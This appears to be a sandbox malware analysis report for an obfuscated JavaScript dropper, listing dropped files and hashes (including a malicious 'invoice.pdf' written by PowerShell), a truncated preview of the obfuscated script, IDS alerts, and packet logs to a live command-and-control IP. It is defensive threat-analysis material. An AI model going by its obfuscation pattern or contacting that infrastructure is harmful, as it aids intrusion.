SHA1:	244E867380AF3F02DA05F1545B9EB4C5AF4344F1
SHA-256:	859600ADE2AC3561FB00A165DD68DCFA12819776AC96A43BE9C6A775782B042A
SHA-512:	BBC0B0603988A51E3A0B03FEF585EA3C79C4F0ADD0EAE8A96C010F085FF1BBDD28F677EFC56CA638B282602C4A60190E0C8BAD93017923B1E7F549F48294C0F1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17092), with CRLF line terminators
Entropy (8bit):	4.902112892379473
TrID:
File name:	62212369534426657.js
File size:	20'388 bytes
MD5:	a93ec016fa19d3443078ee4d3dea2ceb
SHA1:	cfb8d58d52130b3092b014140bde5cc20039fd12
SHA256:	9ee86f340af39079ece3722e3408e9ea5ccdea55c235d0c1d8d0607464698cd5
SHA512:	40233e7f78a794db4176e1ac17c9c7316df3b6c9a3fd94a4b593097a1d1f3cda7bb69b3f6de66447ffce46d4f3f9246e31d5648d2074dc3fd3373abeef0b650c
SSDEEP:	384:PEdEMO7AAa/oRvV6NSdKlq1mX7oRZfg6hq:PEdEM2nKmRtbq
TLSH:	25924045488A83640EEC91542B7789973A9806C6D9B124FF40A5D0D9FF19AACB1FCFBC
File Content Preview:	function nioyujkgb(){avevbmv=[1031,3079,5127,4103,2055,3072];var xjwmtnlz=this[qswlf+ozisluin+fvbdm+ubwztutv+vwnsapw+liebj+ncina+cahwqfw](this[hatyet+vtdhl+ntgms+fvbdm+emzektyu+qswlf+cahwqfw][jbvzmg+fvbdm+vwnsapw+ozisluin+cahwqfw+vwnsapw+wdgqrax+jfwmw+xvs

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:32:40.134510+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-10T17:32:43.359614+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49735	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:32:39.329895020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:39.334767103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:39.334883928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:39.338934898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:39.343688011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134351015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134448051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134459972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134471893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134484053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134496927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134506941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134510040 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.134520054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134532928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134545088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.134588957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.134588957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.139271975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.187805891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.188693047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.188704967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.188715935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.188827991 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.259171009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.259215117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.259274006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.259309053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.259339094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.259352922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.259407043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.259712934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.259749889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.259784937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.259793043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.259819984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.259860039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.259890079 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.259958029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.260859966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.260895967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.260931969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.260968924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.260998964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.261004925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.261101961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.261473894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.261509895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.261535883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.261547089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.261581898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.261616945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.261619091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.261845112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.275473118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.313409090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.313446999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.313483000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.313519955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.313530922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.313569069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.345983982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.345995903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.346492052 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.384004116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384022951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384036064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384047985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384104967 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.384150982 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.384260893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384274006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384285927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384299994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384326935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.384373903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.384711027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384721994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384762049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.384865999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384911060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384923935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.384937048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.385015965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.385015965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.385488033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.385539055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.385574102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.385605097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.385608912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.385648012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.385684967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.385730028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.385730982 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.386291027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.386327028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.386362076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.386395931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.386400938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.386430979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.386466026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.386502981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.386857033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.386857033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.387254000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.387289047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.387329102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.387343884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.387381077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.387403965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.387417078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.387463093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.387500048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.387563944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.387563944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.388478041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.388513088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.388547897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.388581991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.388617992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.388648987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.388655901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.388655901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.388710976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.399967909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.437928915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.437946081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.437958002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.437971115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.438074112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.438108921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.438122988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.438134909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.438158035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.438182116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.438235044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.470875025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.470917940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.470953941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.470993042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.471029043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.471064091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.471102953 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.509006977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509032965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509044886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509058952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509072065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509212017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.509212017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.509257078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509270906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509284019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509295940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509368896 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.509402037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509413958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509426117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509440899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509454966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509484053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.509533882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.509919882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509937048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509948969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509962082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.509975910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510004044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510020018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510024071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.510030985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510049105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510063887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510066986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.510077000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510118008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.510135889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.510711908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510725021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510744095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510755062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.510761023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510787964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510802984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510814905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.510817051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510814905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.510828972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510847092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510859966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510875940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.510879993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.510945082 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.511702061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511714935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511734009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511746883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511759043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511778116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511790037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.511790991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511802912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511810064 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.511820078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511835098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511843920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.511847019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.511854887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.511919022 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.512613058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512629986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512644053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512655973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512672901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512685061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512697935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512710094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512727022 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.512727976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512741089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512753963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.512788057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.512829065 CET	49711	80	192.168.2.6	193.143.1.205
